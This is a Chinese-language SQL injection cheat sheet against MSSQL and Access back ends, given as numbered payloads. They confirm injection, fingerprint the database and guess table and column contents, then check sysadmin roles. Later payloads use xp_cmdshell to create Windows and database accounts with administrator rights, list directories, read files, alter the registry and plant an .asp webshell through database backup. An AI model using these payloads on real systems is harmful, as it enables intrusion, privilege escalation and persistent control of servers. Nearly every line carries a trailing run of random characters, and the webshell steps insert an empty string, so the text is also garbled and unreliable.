1.判断是否有注入;and 1=1 ;and 1=2 Wh.?j>vB
2.初步判断是否是mssql ;and user>0 /@,j232
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3.注入参数是字符'and [查询条件] and ''=' aL&n[
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' _iir<}
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5.判断数据库系统 v^1pN>#%g
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;and (select count(*) from sysobjects)>0 mssql r_-_a(1R:
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;and (select count(*) from msysobjects)>0 access 4/wa+Y+=vt
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 J%,*isEL
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 [@5Ytv H
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 sk=-M8;\
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9.(1)猜字段的ascii值(access) #3+!ee27#
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10.测试权限结构(mssql) ,&R/4:I
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- WjlZ6g2i
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- a+%6B_|\
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- "C I=`=
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- eep1I
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- ~NpA".PB
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 5nKj
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;and 1=(select IS_MEMBER('db_owner'));-- BEre*J
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11.添加mssql和系统的帐户 TztAZ2C
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;exec master.dbo.sp_addlogin username;-- {/
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;exec master.dbo.sp_password null,username,password;-- "gDb1h)8
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- B>0].CK`
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;exec master.dbo.xp_cmdshell 'net user username password USM4r!x
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- YLiSbLz1
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- F!]lU`z)=
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
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12.(1)遍历目录 f7X6fr<
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;create table dirs(paths varchar(100), id int) ,#L=v]
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;insert dirs exec master.dbo.xp_dirtree 'c:\' [YUv7|\
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;and (select top 1 paths from dirs)>0 0a-0Y&lQm
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) /Z@tv.f
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(2)遍历目录 d ysC4DS
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- X ><?F|#7T
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 HLV2~5Txc
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 mg$]QnbAnH
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 \kU &^Hi
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 ^]W<X"H+Z
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13.mssql中的存储过程 =[@zF9
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xp_regenumvalues 注册表根键, 子键 ?6fnpGX@a
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 \\u<S=G
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xp_regread 根键,子键,键值名 VBcy9|lD
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 2M68CE
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xp_regwrite 根键,子键, 值名, 值类型, 值 'Pn3%&O$
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 e= .njMqW5
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 p%*%n3bw
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xp_regdeletevalue 根键,子键,值名 ~==>pj
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 p4-o/8rO
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 5`gQ~
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14.mssql的backup创建webshell RkBb$q9F]
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create table cmd(str image); [N#,K02mk
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insert into cmd(str) values (''); 7zSLAHW
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backup database model to disk='c:\l.asp'; Z^IPZF
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15.mssql内置函数 ] 0B2#
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;and (select @@version)>0 获得Windows的版本号 2L} SJUk*
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa !VI]oRgP
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;and (select user_name())>0 爆当前系统的连接用户 -U/c\-~fU
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;and (select db_name())>0 得到当前连接的数据库 +(1zH-^.
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16.简洁的webshell zN"J}r:
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use model 7U2J xE
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create table cmd(str image); Ksy -e{n
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insert into cmd(str) values (''); >w^YO25q
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backup database model to disk='g:\wwwtest\l.asp';